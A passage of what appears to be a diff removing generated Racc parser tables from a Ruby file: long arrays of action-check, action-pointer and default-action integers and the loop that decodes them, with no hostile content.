-'475,475,475,475,475,475,475,475,475,475,221,424,281,281,424,282,282', -'505,475,475,505,410,259,421,410,259,305,305,358,358,465,422,423,465', -'475,475,475,475,368,215,429,368,475,315,475,358,358,475,208,207,475', -'475,475,475,367,0,0,0,0,366,365,0,0,0,475,0,0,278,278,278,0,0,0,364', -'363,0,0,0,0,0,0,0,0,0,0,0,203,57,358,358,58,95,95,185,0,0,95,95,95,95', -'95,95,95,95,95,95,95,277,277,277,0,0,0,0,276,276,276,256,0,256,0,183', -'262,0,262,445,0,0,0,0,446,420,420,420,420,447,95,420,420,420,0,420,420', -'351,351,351,420,420,420,448,449,420,420,420,420,420,420,420,420,420', -'420,420,352,352,352,451,452,432,432,453,420,420,432,432,432,432,432', -'432,432,432,432,432,432,353,353,353,420,420,420,420,354,354,354,59,420', -'455,420,180,60,420,460,461,420,420,420,420,177,405,405,405,405,463,432', -'405,405,405,420,405,405,355,355,355,405,464,405,362,467,405,405,405', -'405,405,405,405,405,405,405,405,356,356,356,124,117,39,39,472,405,405', -'39,39,39,39,39,39,39,39,39,39,39,99,99,99,405,405,405,405,275,275,275', -'114,405,316,405,107,106,405,105,284,405,405,405,405,480,382,382,382', -'382,104,39,382,382,382,405,382,382,101,101,101,382,327,382,328,485,382', -'382,382,382,382,382,382,382,382,382,382,274,274,274,439,439,439,331', -'488,382,382,438,438,438,304,304,304,436,436,436,435,435,435,489,82,382', -'382,382,382,273,273,273,81,382,492,382,494,495,382,66,502,382,382,382', -'382,79,380,380,380,380,77,76,380,380,380,382,380,380,52,52,52,380,508', -'380,509,67,380,380,380,380,380,380,380,380,380,380,380,268,268,268,54', -'54,54,512,514,380,380,269,269,269,437,437,437,515,69,519,33,521,71,524', -'31,380,380,380,380,1,527,530,72,380,,380,,,380,,,380,380,380,380,,490', -'490,490,490,,,490,490,490,380,490,490,,,,490,490,490,,,490,490,490,490', -'490,490,490,490,490,490,490,,,,,,,,,490,490,,,,,,,,,,,,,,,490,490,490', -'490,,,,,490,,490,,,490,,,490,490,490,490,,491,491,491,491,,,491,491', -'491,490,491,491,,,,491,491,491,,,491,491,491,491,491,491,491,491,491', -'491,491,,,,,,,,,491,491,,,,,,,,,,,,,,,491,491,491,491,,,,,491,,491,', -',491,,,491,491,491,491,,496,496,496,496,,,496,496,496,491,496,496,,', -',496,496,496,,,496,496,496,496,496,496,496,496,496,496,496,,,,,,,,,496', -'496,,,,,,,,,,,,,,,496,496,496,496,,,,,496,,496,,,496,,,496,496,496,496', -',506,506,506,506,,,506,506,506,496,506,506,,,,506,,506,,,506,506,506', -'506,506,506,506,506,506,506,506,,,,,,,,,506,506,,,,,,,,,,,,,,,506,506', -'506,506,,,,,506,,506,,,506,,,506,506,506,506,,516,516,516,516,,,516', -'516,516,506,516,516,,,,516,516,516,,,516,516,516,516,516,516,516,516', -'516,516,516,,,,,,,,,516,516,,,,,,,,,,,,,,,516,516,516,516,,,,,516,,516', -',,516,,,516,516,516,516,,520,520,520,520,,,520,520,520,516,520,520,', -',,520,,520,,,520,520,520,520,520,520,520,520,520,520,520,,,,,,,,,520', -'520,,,,,,,,,,,,,,,520,520,520,520,,,,,520,,520,,,520,,,520,520,520,520', -',84,84,84,84,,,84,84,84,520,84,84,,,,84,,84,,,84,84,84,84,84,84,84,84', -'84,84,84,,,,,,,,,84,84,,,,,,,,,,,,,,,84,84,84,84,,,,,84,,84,,,84,,,84', -'84,84,84,,522,522,522,522,,,522,522,522,84,522,522,,,,522,,522,,,522', -'522,522,522,522,522,522,522,522,522,522,,,,,,,,,522,522,,,,,,,,,,,,', -',,522,522,522,522,,,,,522,,522,,,522,,,522,522,522,522,,65,65,65,65', -',,65,65,65,522,65,65,,,,65,65,65,,,65,65,65,65,65,65,65,65,65,65,65', -',,,,,,,,65,65,,,,,,,,,,,,,,,65,65,65,65,,,,,65,,65,,,65,,,65,65,65,65', -',525,525,525,525,,,525,525,525,65,525,525,,,,525,525,525,,,525,525,525', -'525,525,525,525,525,525,525,525,,,,,,,,,525,525,,,,,,,,,,,,,,,525,525', -'525,525,,,,,525,,525,,,525,,,525,525,525,525,,2,2,2,2,,,2,2,2,525,2', -'2,,,,2,2,2,,,2,2,2,2,2,2,2,2,2,2,2,,,,,,,,,2,2,,,,,,,,,,,,,,,2,2,2,2', -',,,,2,,2,,,2,,,2,2,2,2,,526,526,526,526,,,526,526,526,2,526,526,,,,526', -'526,526,,,526,526,526,526,526,526,526,526,526,526,526,,,,,,,,,526,526', -',,,,,,,,,,,,,,526,526,526,526,,,,,526,,526,,,526,,,526,526,526,526,', -'70,70,70,70,,,70,70,70,526,70,70,,,,70,,70,,,70,70,70,70,70,70,70,70', -'70,70,70,,,,,,,,,70,70,,,,,,,,,,,,,,,70,70,70,70,,,,,70,,70,,,70,,,70', -'70,70,70,,533,533,533,533,,,533,533,533,70,533,533,,,,533,303,533,,', -'533,533,533,533,533,533,533,533,533,533,533,,,,,,,303,303,533,533,,303', -'303,303,303,303,303,303,303,303,303,303,,,533,533,533,533,,396,396,396', -'533,,533,,,533,,396,533,533,533,533,,396,,,,396,,303,396,,533,396,,396', -',,,,,,,,,,396,396,,,,,,,,,,,,,,,396,396,396,396,32,32,32,,396,,396,', -',396,32,,396,396,396,396,32,,,,32,,,32,,,32,,32,,,,,,,,,,,32,32,,,,', -',,,,,,,,,,32,32,32,32,333,333,333,,32,,32,,,32,333,,32,32,32,32,333', -',,,333,,,333,,,333,,333,,,,,,,,,,,333,333,,,,,,,,,,,,,,,333,333,333', -'333,332,332,332,,333,,333,,,333,332,,333,333,333,333,332,,,,332,,,332', -',,332,,332,,,,,,,,,,,332,332,,,,,,,,,,,,,,,332,332,332,332,392,392,392', -',332,,332,,,332,392,,332,332,332,332,392,,,,392,,,392,,,392,,392,,,', -',,,,,,,392,392,,,,,,,,,,,,,,,392,392,392,392,393,393,393,,392,,392,', -',392,393,,392,392,392,392,393,,,,393,,,393,,,393,,393,,,,,,,,,,,393', -'393,,,,,,,,,,,,,,,393,393,393,393,78,78,78,,393,,393,,,393,78,,393,393', -'393,393,78,,,,78,,,78,,,78,,78,,,,,,,,,,,78,78,,,,,,,,,,,,,,,78,78,78', -'78,504,504,504,,78,,78,,,78,504,,78,78,78,78,504,,,,504,,,504,,,504', -',504,,,,,,,,,,,504,504,,,,,,,,,,,,,,,504,504,504,504,330,330,330,,504', -',504,,,504,330,,504,504,504,504,330,,,,330,,,330,,,330,,330,,,,,,,,', -',,330,330,,,,,,,,,,,,,,,330,330,330,330,394,394,394,,330,,330,,,330', -'394,,330,330,330,330,394,,,,394,,,394,,,394,,394,,,,,,,,,,,394,394,', -',,,,,,,,,,,,,394,394,394,394,40,40,40,,394,,394,,,394,40,,394,394,394', -'394,40,,,,40,,,40,,,40,,40,,,,,,,,,,,40,40,,,,,,,,,,,,,,,40,40,40,40', -'395,395,395,,40,,40,,,40,395,,40,40,40,40,395,,,,395,,,395,,,395,,395', -',,,,,,,,,,395,395,,,,,,,,,,,,,,,395,395,395,395,391,391,391,,395,,395', -',,395,391,,395,395,395,395,391,,,,391,,,391,,,391,,391,,,,,,,,,,,391', -'391,,,,,,,,,,,,,,,391,391,391,391,397,397,397,,391,,391,,,391,397,,391', -'391,391,391,397,,,,397,,,397,,,397,,397,,,,,,,,,,,397,397,,,,,,,,,,', -',,,,397,397,397,397,398,398,398,,397,,397,,,397,398,,397,397,397,397', -'398,,,,398,,,398,,,398,,398,,,,,,,,,,,398,398,,,,,,,,,,,,,,,398,398', -'398,398,399,399,399,,398,,398,,,398,399,,398,398,398,398,399,,,,399', -',,399,,,399,,399,,,,,,,,,,,399,399,,,,,,,,,,,,,,,399,399,399,399,400', -'400,400,,399,,399,,,399,400,,399,399,399,399,400,,,,400,,,400,,,400', -',400,,,,,,,,,,,400,400,,,,,,,,,,,,,,,400,400,400,400,401,401,401,,400', -',400,,,400,401,,400,400,400,400,401,,,,401,,,401,,,401,,401,,,,,,,,', -',,401,401,,,,,,,,,,,,,,,401,401,401,401,487,487,487,,401,,401,,,401', -'487,,401,401,401,401,487,,,,487,,,487,,,487,,487,,,,,,,,,,,487,487,', -',,,,,,,,,,,,,487,487,487,487,390,390,390,,487,,487,,,487,390,,487,487', -'487,487,390,,,,390,,,390,,,390,,390,,,,,,,,,,,390,390,,,,,,,,,,,,,,', -'390,390,390,390,389,389,389,,390,,390,,,390,389,,390,390,390,390,389', -',,,389,,,389,,,389,,389,,,,,,,,,,,389,389,,,,,,,,,,,,,,,389,389,389', -'389,388,388,388,,389,,389,,,389,388,,389,389,389,389,388,,,,388,,,388', -',,388,,388,,,,,,,,,,,388,388,,,,,,,,,,,,,,,388,388,388,388,371,371,371', -',388,,388,,,388,371,,388,388,388,388,371,,,,371,,,371,,,371,,371,,,', -',,,,,,,371,371,,,,,,,,,,,,,,,371,371,371,371,,481,481,481,371,,371,', -',371,371,481,371,371,371,371,,481,,,,481,,,481,,,481,,481,,,,,,,,,,', -'481,481,,,,,,,,,,,,,,,481,481,481,481,477,477,477,,481,,481,,,481,477', -',481,481,481,481,477,,,,477,,,477,,,477,,477,,,,,,,,,,,477,477,,,,,', -',,,,,,,,,477,477,477,477,476,476,476,,477,,477,,,477,476,,477,477,477', -'477,476,,,,476,,,476,,,476,,476,,,,,,,,,,,476,476,,,,,,,,,,,,,,,476', -'476,476,476,41,41,41,,476,,476,,,476,41,,476,476,476,476,41,,,,41,,', -'41,,,41,,41,,,,,,,,,,,41,41,,,,,,,,,,,,,,,41,41,41,41,419,419,419,,41', -',41,,,41,419,,41,41,41,41,419,,,,419,,,419,,,419,,419,,,,,,,,,,,419', -'419,,,,,,,,,,,,,,,419,419,419,419,374,374,374,,419,,419,,,419,374,,419', -'419,419,419,374,,,,374,,,374,,,374,,374,,,,,,,,,,,374,374,,,,,,,,,,', -',,,,374,374,374,374,112,112,112,,374,,374,,,374,112,,374,374,374,374', -'112,,,,112,,,112,,,112,,112,,,,,,,,,,,112,112,,,,,,,,,,,,,,,112,112', -'112,112,,42,42,42,112,,112,,,112,112,42,112,112,112,112,,42,,,,42,,', -'42,,,42,,42,,,,,,,,,,,42,42,,,,,,,,,,,,,,,42,42,42,42,43,43,43,,42,', -'42,,,42,43,,42,42,42,42,43,,,,43,,,43,,,43,,43,,,,,,,,,,,43,43,,,,,', -',,,,,,,,,43,43,43,43,116,116,116,,43,,43,,,43,116,,43,43,43,43,116,', -',,116,,,116,,,116,,116,,,,,,,,,,,116,116,,,,,,,,,,,,,,,116,116,116,116', -'44,44,44,,116,,116,,,116,44,,116,116,116,116,44,,,,44,,,44,,,44,,44', -',,,,,,,,,,44,44,,,,,,,,,,,,,,,44,44,44,44,119,119,119,,44,,44,,,44,119', -',44,44,44,44,119,,,,119,,,119,,,119,,119,,,,,,,,,,,119,119,,,,,,,,,', -',,,,,119,119,119,119,376,376,376,,119,119,119,,,119,376,,119,119,119', -'119,376,,,,376,,,376,,,376,,376,,,,,,,,,,,376,376,,,,,,,,,,,,,,,376', -'376,376,376,123,123,123,,376,,376,,,376,123,,376,376,376,376,123,,,', -'123,,,123,,,123,,123,,,,,,,,,,,123,123,,,,,,,,,,,,,,,123,123,123,123', -'45,45,45,,123,,123,,,123,45,,123,123,123,123,45,,,,45,,,45,,,45,,45', -',,,,,,,,,,45,45,,,,,,,,,,,,,,,45,45,45,45,127,127,127,,45,,45,,,45,127', -',45,45,45,45,127,,,,127,,,127,,,127,,127,,,,,,,,,,,127,127,,,,,,,,,', -',,,,,127,127,127,127,46,46,46,,127,,127,,,127,46,,127,127,127,127,46', -',,,46,,,46,,,46,,46,,,,,,,,,,,46,46,,,,,,,,,,,,,,,46,46,46,46,150,150', -'150,,46,,46,,,46,150,,46,46,46,46,150,,,,150,,,150,,,150,,150,,,,,,', -',,,,150,150,,,,,,,,,,,,,,,150,150,150,150,151,151,151,,150,,150,,,150', -'151,,150,150,150,150,151,,,,151,,,151,,,151,,151,,,,,,,,,,,151,151,', -',,,,,,,,,,,,,151,151,151,151,152,152,152,,151,,151,,,151,152,,151,151', -'151,151,152,,,,152,,,152,,,152,,152,,,,,,,,,,,152,152,,,,,,,,,,,,,,', -'152,152,152,152,153,153,153,,152,,152,,,152,153,,152,152,152,152,153', -',,,153,,,153,,,153,,153,,,,,,,,,,,153,153,,,,,,,,,,,,,,,153,153,153', -'153,154,154,154,,153,,153,,,153,154,,153,153,153,153,154,,,,154,,,154', -',,154,,154,,,,,,,,,,,154,154,,,,,,,,,,,,,,,154,154,154,154,155,155,155', -',154,,154,,,154,155,,154,154,154,154,155,,,,155,,,155,,,155,,155,,,', -',,,,,,,155,155,,,,,,,,,,,,,,,155,155,155,155,156,156,156,,155,,155,', -',155,156,,155,155,155,155,156,,,,156,,,156,,,156,,156,,,,,,,,,,,156', -'156,,,,,,,,,,,,,,,156,156,156,156,157,157,157,,156,,156,,,156,157,,156', -'156,156,156,157,,,,157,,,157,,,157,,157,,,,,,,,,,,157,157,,,,,,,,,,', -',,,,157,157,157,157,158,158,158,,157,,157,,,157,158,,157,157,157,157', -'158,,,,158,,,158,,,158,,158,,,,,,,,,,,158,158,,,,,,,,,,,,,,,158,158', -'158,158,159,159,159,,158,,158,,,158,159,,158,158,158,158,159,,,,159', -',,159,,,159,,159,,,,,,,,,,,159,159,,,,,,,,,,,,,,,159,159,159,159,160', -'160,160,,159,,159,,,159,160,,159,159,159,159,160,,,,160,,,160,,,160', -',160,,,,,,,,,,,160,160,,,,,,,,,,,,,,,160,160,160,160,161,161,161,,160', -',160,,,160,161,,160,160,160,160,161,,,,161,,,161,,,161,,161,,,,,,,,', -',,161,161,,,,,,,,,,,,,,,161,161,161,161,162,162,162,,161,,161,,,161', -'162,,161,161,161,161,162,,,,162,,,162,,,162,,162,,,,,,,,,,,162,162,', -',,,,,,,,,,,,,162,162,162,162,163,163,163,,162,,162,,,162,163,,162,162', -'162,162,163,,,,163,,,163,,,163,,163,,,,,,,,,,,163,163,,,,,,,,,,,,,,', -'163,163,163,163,164,164,164,,163,,163,,,163,164,,163,163,163,163,164', -',,,164,,,164,,,164,,164,,,,,,,,,,,164,164,,,,,,,,,,,,,,,164,164,164', -'164,165,165,165,,164,,164,,,164,165,,164,164,164,164,165,,,,165,,,165', -',,165,,165,,,,,,,,,,,165,165,,,,,,,,,,,,,,,165,165,165,165,166,166,166', -',165,,165,,,165,166,,165,165,165,165,166,,,,166,,,166,,,166,,166,,,', -',,,,,,,166,166,,,,,,,,,,,,,,,166,166,166,166,167,167,167,,166,,166,', -',166,167,,166,166,166,166,167,,,,167,,,167,,,167,,167,,,,,,,,,,,167', -'167,,,,,,,,,,,,,,,167,167,167,167,168,168,168,,167,,167,,,167,168,,167', -'167,167,167,168,,,,168,,,168,,,168,,168,,,,,,,,,,,168,168,,,,,,,,,,', -',,,,168,168,168,168,169,169,169,,168,,168,,,168,169,,168,168,168,168', -'169,,,,169,,,169,,,169,,169,,,,,,,,,,,169,169,,,,,,,,,,,,,,,169,169', -'169,169,170,170,170,,169,,169,,,169,170,,169,169,169,169,170,,,,170', -',,170,,,170,,170,,,,,,,,,,,170,170,,,,,,,,,,,,,,,170,170,170,170,171', -'171,171,,170,,170,,,170,171,,170,170,170,170,171,,,,171,,,171,,,171', -',171,,,,,,,,,,,171,171,,,,,,,,,,,,,,,171,171,171,171,172,172,172,,171', -',171,,,171,172,,171,171,171,171,172,,,,172,,,172,,,172,,172,,,,,,,,', -',,172,172,,,,,,,,,,,,,,,172,172,172,172,173,173,173,,172,,172,,,172', -'173,,172,172,172,172,173,,,,173,,,173,,,173,,173,,,,,,,,,,,173,173,', -',,,,,,,,,,,,,173,173,173,173,174,174,174,,173,,173,,,173,174,,173,173', -'173,173,174,,,,174,,,174,,,174,,174,,,,,,,,,,,174,174,,,,,,,,,,,,,,', -'174,174,174,174,47,47,47,,174,,174,,,174,47,,174,174,174,174,47,,,,47', -',,47,,,47,,47,,,,,,,,,,,47,47,,,,,,,,,,,,,,,47,47,47,47,457,457,457', -',47,,47,,,47,457,,47,47,47,47,457,,,,457,,,457,,,457,,457,,,,,,,,,,', -'457,457,,,,,,,,,,,,,,,457,457,457,457,456,456,456,,457,,457,,,457,456', -',457,457,457,457,456,,,,456,,,456,,,456,,456,,,,,,,,,,,456,456,,,,,', -',,,,,,,,,456,456,456,456,454,454,454,,456,,456,,,456,454,,456,456,456', -'456,454,,,,454,,,454,,,454,,454,,,,,,,,,,,454,454,,,,,,,,,,,,,,,454', -'454,454,454,381,381,381,,454,,454,,,454,381,,454,454,454,454,381,,,', -'381,,,381,,,381,,381,,,,,,,,,,,381,381,,,,,,,,,,,,,,,381,381,381,381', -'184,184,184,,381,,381,,,381,184,,381,381,381,381,184,,,,184,,,184,,', -'184,,184,,,,,,,,,,,184,184,,,,,,,,,,,,,,,184,184,184,184,387,387,387', -',184,,184,,,184,387,,184,184,184,184,387,,,,387,,,387,,,387,,387,,,', -',,,,,,,387,387,,,,,,,,,,,,,,,387,387,387,387,186,186,186,,387,,387,', -',387,186,,387,387,387,387,186,,,,186,,,186,,,186,,186,,,,,,,,,,,186', -'186,,,,,,,,,,,,,,,186,186,186,186,187,187,187,,186,,186,,,186,187,,186', -'186,186,186,187,,,,187,,,187,,,187,187,187,,,,,,,,,,,187,187,,,,,,,', -',,,,,,,187,187,187,187,248,248,248,,187,,187,,,187,248,,187,187,187', -'187,248,,,,248,,,248,,,248,,248,,,,,,,,,,,248,248,,,,,,,,,,,,,,,248', -'248,248,248,247,247,247,,248,,248,,,248,247,,248,248,248,248,247,,,', -'247,,,247,,,247,,247,,,,,,,,,,,247,247,,,,,,,,,,,,,,,247,247,247,247', -'246,246,246,,247,,247,,,247,246,,247,247,247,247,246,,,,246,,,246,,', -'246,,246,,,,,,,,,,,246,246,,,,,,,,,,,,,,,246,246,246,246,197,197,197', -',246,,246,,,246,197,,246,246,246,246,197,,,,197,,,197,,,197,,197,,,', -',,,,,,,197,197,,,,,,,,,,,,,,,197,197,197,197,198,198,198,,197,,197,', -',197,198,,197,197,197,197,198,,,,198,,,198,,,198,,198,,,,,,,,,,,198', -'198,,,,,,,,,,,,,,,198,198,198,198,245,245,245,,198,,198,,,198,245,,198', -'198,198,198,245,,,,245,,,245,,,245,,245,,,,,,,,,,,245,245,,,,,,,,,,', -',,,,245,245,245,245,383,383,383,,245,,245,,,245,383,,245,245,245,245', -'383,,,,383,,,383,,,383,,383,,,,,,,,,,,383,383,,,,,,,,,,,,,,,383,383', -'383,383,244,244,244,,383,,383,,,383,244,,383,383,383,383,244,,,,244', -',,244,,,244,,244,,,,,,,,,,,244,244,,,,,,,,,,,,,,,244,244,244,244,243', -'243,243,,244,,244,,,244,243,,244,244,244,244,243,,,,243,,,243,,,243', -',243,,,,,,,,,,,243,243,,,,,,,,,,,,,,,243,243,243,243,384,384,384,,243', -',243,,,243,384,,243,243,243,243,384,,,,384,,,384,,,384,,384,,,,,,,,', -',,384,384,,,,,,,,,,,,,,,384,384,384,384,242,242,242,,384,,384,,,384', -'242,,384,384,384,384,242,,,,242,,,242,,,242,,242,,,,,,,,,,,242,242,', -',,,,,,,,,,,,,242,242,242,242,385,385,385,,242,,242,,,242,385,,242,242', -'242,242,385,,,,385,,,385,,,385,,385,,,,,,,,,,,385,385,,,,,,,,,,,,,,', -'385,385,385,385,213,213,213,,385,,385,,,385,213,,385,385,385,385,213', -',,,213,,,213,,,213,,213,,,,,,,,,,,213,213,,,,,,,,,,,,,,,213,213,213', -'213,214,214,214,,213,,213,,,213,214,,213,213,213,213,214,,,,214,,,214', -',,214,,214,,,,,,,,,,,214,214,,,,,,,,,,,,,,,214,214,214,214,295,295,295', -',214,,214,,,214,295,,214,214,214,214,295,,,,295,,,295,,,295,,295,,,', -',,,,,,,295,295,,,,,,,,,,,,,,,295,295,295,295,386,386,386,,295,,295,', -',295,386,,295,295,295,295,386,,,,386,,,386,,,386,,386,,,,,,,,,,,386', -'386,,,,,,,,,,,,,,,386,386,386,386,220,220,220,,386,,386,,,386,220,,386', -'386,386,386,220,,,,220,,,220,,,220,,220,,,,,,,,,,,220,220,,,,,,,,,,', -',,,,220,220,220,220,48,48,48,,220,,220,,,220,48,,220,220,220,220,48', -',,,48,,,48,,,48,,48,,,,,,,,,,,48,48,,,,,,,,,,,,,,,48,48,48,48,224,224', -'224,,48,,48,,,48,224,,48,48,48,48,224,,,,224,,,224,,,224,,224,,,,,,', -',,,,224,224,,,,,,,,,,,,,,,224,224,224,224,225,225,225,,224,,224,,,224', -'225,,224,224,224,224,225,,,,225,,,225,,,225,,225,,,,,,,,,,,225,225,', -',,,,,,,,,,,,,225,225,225,225,226,226,226,,225,,225,,,225,226,,225,225', -'225,225,226,,,,226,,,226,,,226,,226,,,,,,,,,,,226,226,,,,,,,,,,,,,,', -'226,226,226,226,227,227,227,,226,,226,,,226,227,,226,226,226,226,227', -',,,227,,,227,,,227,,227,,,,,,,,,,,227,227,,,,,,,,,,,,,,,227,227,227', -'227,228,228,228,,227,,227,,,227,228,,227,227,227,227,228,,,,228,,,228', -',,228,,228,,,,,,,,,,,228,228,,,,,,,,,,,,,,,228,228,228,228,229,229,229', -',228,,228,,,228,229,,228,228,228,228,229,,,,229,,,229,,,229,,229,,,', -',,,,,,,229,229,,,,,,,,,,,,,,,229,229,229,229,230,230,230,,229,,229,', -',229,230,,229,229,229,229,230,,,,230,,,230,,,230,,230,,,,,,,,,,,230', -'230,,,,,,,,,,,,,,,230,230,230,230,231,231,231,,230,,230,,,230,231,,230', -'230,230,230,231,,,,231,,,231,,,231,,231,,,,,,,,,,,231,231,,,,,,,,,,', -',,,,231,231,231,231,232,232,232,,231,,231,,,231,232,,231,231,231,231', -'232,,,,232,,,232,,,232,,232,,,,,,,,,,,232,232,,,,,,,,,,,,,,,232,232', -'232,232,233,233,233,,232,,232,,,232,233,,232,232,232,232,233,,,,233', -',,233,,,233,,233,,,,,,,,,,,233,233,,,,,,,,,,,,,,,233,233,233,233,234', -'234,234,,233,,233,,,233,234,,233,233,233,233,234,,,,234,,,234,,,234', -',234,,,,,,,,,,,234,234,,,,,,,,,,,,,,,234,234,234,234,241,241,241,,234', -',234,,,234,241,,234,234,234,234,241,,,,241,,,241,,,241,,241,,,,,,,,', -',,241,241,,,,,,,,,,,,,,,241,241,241,241,236,236,236,,241,,241,,,241', -'236,,241,241,241,241,236,,,,236,,,236,,,236,,236,,,,,,,,,,,236,236,', -',,,,,,,,,,,,,236,236,236,236,237,237,237,,236,,236,,,236,237,,236,236', -'236,236,237,,,,237,,,237,,,237,,237,,,,,,,,,,,237,237,,,,,,,,,,,,,,', -'237,237,237,237,238,238,238,,237,,237,,,237,238,,237,237,237,237,238', -',,,238,,,238,,,238,,238,,,,,,,,,,,238,238,,,,,,,,,,,,,,,238,238,238', -'238,239,239,239,,238,,238,,,238,239,,238,238,238,238,239,,,,239,,,239', -',,239,,239,,,,,,,,,,,239,239,,,,,,,,,,,,,,,239,239,239,239,240,240,240', -',239,,239,,,239,240,,239,239,239,239,240,,,,240,,,240,,,240,,240,,,', -',,,,,,,240,240,,,,,,,,,,,,,,,240,240,240,240,235,235,235,,240,,240,', -',240,235,,240,240,240,240,235,,,,235,,,235,,,235,,235,92,92,92,,,,,', -',,235,235,,,,,92,36,36,36,92,,,92,,,235,235,235,235,,,,36,235,,235,36', -',235,36,,235,235,235,235,,,,,,,,,,92,92,92,92,,,,,92,,92,,,92,,,,36', -'36,36,36,,,,,36,,36,,,36' ] - racc_action_check = arr = Array.new(8460, nil) - idx = 0 - clist.each do |str| - str.split(',', -1).each do |i| - arr[idx] = i.to_i unless i.empty? - idx += 1 - end - end - -racc_action_pointer = [ - 482, 847, 1622, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, 778, 1969, 769, nil, 80, 8389, 93, nil, 631, - 2500, 3445, 3682, 3741, 3859, 4095, 4213, 5747, 7281, nil, - nil, nil, 723, -30, 779, 209, 282, 434, 436, 538, - 587, -27, nil, nil, 3, 1470, 721, 747, nil, 771, - 1774, 775, 785, 10, 0, 4, 728, 727, 2264, 720, - 1, 714, 766, nil, 1318, nil, -35, nil, 317, nil, - nil, 76, 8372, 70, nil, 479, nil, nil, nil, 611, - 228, 681, 285, 340, 634, 622, 619, 662, -18, nil, - nil, 53, 3622, 351, 629, nil, 3800, 611, nil, 3918, - -18, nil, nil, 4036, 610, nil, nil, 4154, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - 233, nil, nil, nil, nil, nil, nil, nil, nil, nil, - 4272, 4331, 4390, 4449, 4508, 4567, 4626, 4685, 4744, 4803, - 4862, 4921, 4980, 5039, 5098, 5157, 5216, 5275, 5334, 5393, - 5452, 5511, 5570, 5629, 5688, nil, nil, 567, 12, nil, - 540, 13, nil, 464, 6042, 491, 6160, 6219, nil, nil, - 2, nil, nil, 8, 14, nil, nil, 6455, 6514, 16, - 23, nil, nil, 450, nil, nil, 87, 414, 413, nil, - 157, nil, nil, 6986, 7045, 408, nil, -34, nil, nil, - 7222, 379, nil, nil, 7340, 7399, 7458, 7517, 7576, 7635, - 7694, 7753, 7812, 7871, 7930, 8343, 8048, 8107, 8166, 8225, - 8284, 7989, 6868, 6750, 6691, 6573, 6396, 6337, 6278, -7, - 342, nil, nil, nil, 301, nil, 477, nil, nil, 385, - nil, nil, 482, nil, nil, nil, nil, nil, 742, 752, - -18, 20, 63, 728, 700, 652, 500, 493, 453, 133, - 288, 361, 364, 188, 624, -55, -49, 28, 20, nil, - nil, nil, nil, 56, nil, 7104, nil, nil, 63, nil, - 298, 84, 146, 1848, 713, 375, 264, 97, 128, 134, - 215, -12, nil, nil, 294, 385, 640, nil, nil, nil, - nil, nil, nil, 222, 241, nil, nil, 661, 665, 36, - 2382, 684, 2087, 2028, -18, nil, nil, 123, nil, nil, - 95, nil, nil, nil, nil, nil, 191, 267, 353, 304, - 277, 529, 548, 569, 576, 605, 624, 212, 437, 118, - 28, 358, 572, 420, 418, 449, 424, 416, 401, nil, - -9, 3208, nil, nil, 3563, nil, 3977, nil, nil, nil, - 786, 5983, 710, 6632, 6809, 6927, 7163, 6101, 3149, 3090, - 3031, 2618, 2146, 2205, 2441, 2559, 1910, 2677, 2736, 2795, - 2854, 2913, nil, -50, -10, 634, 220, nil, 234, 264, - 384, nil, 32, nil, nil, nil, nil, nil, nil, 3504, - 558, 385, 400, 394, 374, nil, nil, nil, nil, 455, - 355, nil, 555, nil, 165, 719, 716, 789, 710, 703, - 147, 136, 299, 223, 206, 472, 476, 480, 538, 515, - nil, 525, 508, 538, 5924, 604, 5865, 5806, nil, nil, - 623, 564, 102, 573, 585, 393, nil, 587, nil, 330, - nil, 254, 607, 178, -1, 406, 3386, 3327, nil, -66, - 624, 3268, nil, 127, 7, 725, nil, 2972, 683, 697, - 862, 938, 709, nil, 710, 711, 1014, nil, nil, nil, - nil, nil, 716, nil, 2323, 380, 1090, nil, 798, 742, - nil, 53, 809, nil, 758, 767, 1166, nil, nil, 769, - 1242, 773, 1394, nil, 773, 1546, 1698, 781, nil, nil, - 781, nil, nil, 1850, nil, nil, nil, nil, nil, nil, - nil ] - -racc_action_default = [ - -1, -294, -2, -3, -5, -6, -7, -8, -9, -10, - -11, -12, -13, -14, -15, -16, -17, -18, -19, -20, - -21, -22, -23, -24, -25, -26, -27, -28, -40, -41, - -42, -43, -294, -50, -59, -65, -294, -82, -81, -86, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -100, - -101, -106, -113, -120, -137, -154, -163, -169, -175, -181, - -187, -193, -199, -217, -294, -1, -294, -294, -238, -294, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -4, -294, -36, -294, -43, -294, -54, - -55, -63, -294, -80, -79, -83, -98, -99, -102, -110, - -116, -124, -144, -159, -165, -171, -177, -183, -189, -195, - -213, -294, -294, -294, -51, -52, -294, -294, -71, -294, - -63, -66, -72, -294, -294, -87, -88, -294, -201, -202, - -203, -204, -205, -206, -207, -208, -209, -210, -211, -212, - -83, -89, -90, -91, -92, -93, -94, -95, -96, -97, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -294, -294, -239, -240, -294, -294, -222, - -226, -294, -232, -234, -294, -294, -294, -253, -255, -256, - -294, -259, -260, -294, -294, -263, -264, -294, -294, -294, - -294, -283, -284, -294, 541, -277, -294, -294, -294, -34, - -294, -37, -44, -294, -294, -294, -67, -63, -64, -68, - -294, -294, -84, -85, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -45, -48, -46, -50, -53, -294, -61, -75, -294, - -77, -62, -294, -74, -200, -107, -108, -109, -114, -115, - -121, -122, -123, -138, -139, -140, -141, -142, -143, -155, - -156, -157, -158, -164, -170, -176, -182, -188, -294, -218, - -219, -220, -221, -294, -227, -294, -230, -231, -294, -235, - -294, -294, -294, -83, -131, -149, -161, -167, -173, -179, - -185, -191, -197, -215, -254, -294, -294, -257, -258, -261, - -262, -265, -266, -294, -294, -278, -279, -294, -294, -294, - -294, -294, -294, -294, -294, -38, -214, -294, -57, -58, - -294, -70, -196, -103, -104, -105, -111, -112, -117, -118, - -119, -125, -126, -127, -128, -129, -130, -145, -146, -147, - -148, -160, -166, -172, -178, -184, -294, -294, -294, -291, - -294, -294, -60, -76, -294, -73, -294, -223, -236, -233, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -294, -294, -294, -294, -294, -294, -294, -294, -294, - -294, -251, -224, 